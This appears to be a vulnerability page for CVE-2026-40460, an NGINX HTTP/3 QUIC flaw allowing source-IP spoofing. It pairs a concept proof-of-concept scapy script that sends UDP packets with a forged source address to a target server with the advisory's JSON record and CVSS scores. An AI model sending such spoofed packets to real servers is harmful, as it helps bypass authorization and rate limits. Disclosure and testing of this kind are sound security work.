CVE-2026-40460

import sys from scapy.all import * # CVE-2026-40460 PoC Concept: IP Spoofing via QUIC/UDP # This script sends a UDP packet to a target NGINX server with a spoofed source IP. # Requires root privileges to send raw packets. def send_spoofed_packet(target_ip, target_port, spoofed_ip, spoofed_port): # Construct IP layer with spoofed source ip = IP(src=spoofed_ip, dst=target_ip) # Construct UDP layer udp = UDP(sport=spoofed_port, dport=target_port) # Construct a dummy payload (QUIC packet structure requires more complexity, this is a concept) payload = b"\x00" * 10 # Simplified payload packet = ip / udp / payload print(f"[*] Sending packet from {spoofed_ip} to {target_ip}:{target_port}") send(packet) if __name__ == "__main__": if len(sys.argv) != 5: print("Usage: python3 poc.py <target_ip> <target_port> <spoofed_ip> <spoofed_port>") sys.exit(1) TARGET_IP = sys.argv[1] TARGET_PORT = int(sys.argv[2]) SPOOFED_IP = sys.argv[3] # e.g., 127.0.0.1 to simulate localhost SPOOFED_PORT = int(sys.argv[4]) send_spoofed_packet(TARGET_IP, TARGET_PORT, SPOOFED_IP, SPOOFED_PORT)

{"cve": {"id": "CVE-2026-40460", "sourceIdentifier": "[email protected]", "published": "2026-05-13T16:16:42.823", "lastModified": "2026-05-13T16:27:11.127", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "When NGINX Plus or NGINX Open Source are configured to use the HTTP/3 QUIC module, an attacker may be able to spoof their source IP address allowing for bypass of authorization or bypass of rate limiting.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-290"}]}], "references": [{"url": "https://my.f5.com/manage/s/article/K000161068", "source": "[email protected]"}]}}